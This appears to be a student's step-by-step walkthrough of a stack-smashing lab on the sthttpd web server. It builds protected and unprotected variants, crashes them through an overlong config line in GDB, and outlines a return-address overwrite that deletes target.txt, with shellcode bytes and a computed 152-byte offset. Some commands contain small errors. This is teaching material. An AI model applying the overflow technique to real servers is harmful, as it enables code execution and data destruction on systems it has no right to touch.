1. Unzip sthttpd-2.27.0.tar
$ tar -xvf sthttpd-2.27.0.tar

Check PATH
$ which gcc
/usr/local/cs/bin/gcc

2. Apply patch and build sthttpd

(a) Open thttpd.h and manually apply the patch
Open thttpd.h:
$ cd sthttpd-2.27.0.tar
$ emacs src/thttpd.h
Apply the patch.

(b) Build
```
$ ./configure \
  LDFLAGS="-Xlinker --rpath=/usr/local/cs/gcc-$(gcc -dumpversion)/lib"
```

(c) Compile with three sets of compiler options
```
$ make clean
$ make CFLAGS='-g3 –m32 -O2 -fno-inline -fstack-protector-strong'
$ mv src/thttpd src/thttpd-sp

$ make clean
$ make CFLAGS='-g3 –m32 -O2 -fno-inline -fsanitize=address'
$ mv src/thttpd src/thttpd-as

$ make clean
$ make CFLAGS='-g3 –m32 -O2 -fno-inline -fno-stack-protector -zexecstack'
$ mv src/thttpd src/thttpd-no
```

3. Run under GDB on different ports

Compute the port numbers from the spec!
Port numbers: SP - 12565 AS - 12566 NO - 12567

First, create a test file in the working directory of my HTTPD server:
$ touch test.txt
$ cat "test test test" > test.txt

The run:
$ gdb src/thttpd-sp
(gdb) run -p 12565 -D

$ gdb src/thttpd-as
(gdb) run -p 12566 -D

$ gdb src/thttpd-no
(gdb) run -p 12567 -D

Observe the behavior of the server here.

4. Verify web servers work in the normal case

Open a new terminal and connect to the same server (eg. lnxsrv09).
Go to the working directory of my HTTPD server:
$ cd cs33/Smashing_Lab/sthttpd-2.27.0/

$ curl http://localhost:12565/test.txt

Note the output of curl

Now kill the running server:
(gdb) C-c

5. Make variant SP crash

Create a config file crash-sp.txt containing some options

Run on gdb:

$ gdb src/thttpd-sp

(gdb) run -p 12565 -D -C crash-sp.txt

After it receives error signal:

(gdb) bt

Identify the line of crash and add breakpoint there

(gdb) b linenum

(gdb) set disassemble-next-line on

(gdb) run -p (portnumbr) -D -C crash-sp.txt

(gdb)si

Using the “si” command, examine the code and provide proper explanation as to where the code is crashing.

6. Make variant AS crash

Create another config file crash-as.txt which also contains more than 100 chars:
Run on gdb:

$ gdb src/thttpd-as
(gdb) run -p 12566 -D -C crash-as.txt

(gdb) bt

7. Make variant NO crash

Use the same file crash-as.txt as config file and run on gdb:

$ gdb src/thttpd-no
(gdb) run -p 12567 -D -C crash-as.txt

(gdb) bt

(gdb) b thttpd.c:xxxx
(gdb) set disassemble-next-line on
(gdb) run -p (portnumber) -D -C
crash-as.txt

(gdb) si
  0x0000000000404126 <read_config+1206>: 41 5d   pop   %r13
=> 0x0000000000404128 <read_config+1208>: c3 retq
(gdb) si

Program received signal SIGSEGV, Segmentation fault.
0x0000000000404128 in read_config (filename=<optimized out>) at thttpd.c:1190
1190   }
  0x000000000040411e <read_config+1198>:   48 83 c4 78   add $0x78,%rsp
  0x0000000000404122 <read_config+1202>:   5b pop   %rbx
  0x0000000000404123 <read_config+1203>:   5d pop   %rbp
  0x0000000000404124 <read_config+1204>: 41 5c pop   %r12
  0x0000000000404126 <read_config+1206>: 41 5d   pop   %r13
=> 0x0000000000404128 <read_config+1208>: c3   retq

8. Generate assembly language code

In the src directory:

(SP)
$ gcc -S -O2 -fno-inline -fstack-protector-strong -I .. -I . thttpd.c -o thttpd-sp.s

(AS)
$ gcc -S -O2 -fno-inline -fsanitize=address -I .. -I . thttpd.c -o thttpd-as.s

(NO)
$ gcc -S -O2 -fno-inline -fno-stack-protector -zexecstack -I .. -I . thttpd.c -o thttpd-no.s

9. Exploit

In order to delete a file, we can use the unlink command in the <unistd.h> library to delete the filename from the filesystem. Unlink takes in a c string pointer as an argument which is stored in %rdi, then delete the file being pointed to.

Write a unlink.c file to obtain the hex value for unlinking target.txt:

```
//unlink.c
#include<unistd.h> int
main() {
   char file[] = "target.txt";
   unlink(file);
   return 0;
}
```

Get assembly for this program:

```
$ gcc -g -c unlink.c
$ objdump -d unlink.o
...
0000000000000000 <main>:
  0:    55                       push   %rbp
  1:    48 89 e5                 mov    %rsp,%rbp
  4:    48 83 ec 10              sub    $0x10,%rsp
  8:    48 b8 74 61 72 67 65     mov    $0x742e746567726174,%rax
  f:    74 2e 74
  12:   48 89 45 f0              mov    %rax,-0x10(%rbp)
  16:   66 c7 45 f8 78 74        movw   $0x7478,-0x8(%rbp)
  1c:   c6 45 fa 00              movb   $0x0,-0x6(%rbp)
  20:   48 8d 45 f0          lea    -0x10(%rbp),%rax
  24:   48 89 c7             mov    %rax,%rdi
  27:    e8 00 00 00 00        callq  2c <main+0x2c>
  2c:   b8 00 00 00 00       mov    $0x0,%eax
  31:   c9                   leaveq
  32:    c3                       retq
```

From the codes above, we can tell the hex value for "target.txt" can be obtained

Now, we need to figure out the appropriate size for the whole buffer so as to overwrite the return
address. We do this in the following two steps:

1) starting address of the buffer (variable "line" in the stack of read_config)

```
 (gdb) b read_config
(gdb) run -p 12567 -D -C
test.txt (gdb) print &line
$1 = (char (*)[100]) 0x7fffffffcfa0
```

2) returnaddres
(gdb) i r rsp
rsp 0x7fffffffd038 0x7fffffffd038

So the size should be 0x7fffffffd038 - 0x7fffffffcfa0 = 152 bytes, which is equivalent to 152 characters.

In the end, the expected output is as below:

$ ls target.txt
ls: cannot access target.txt: No such file or directory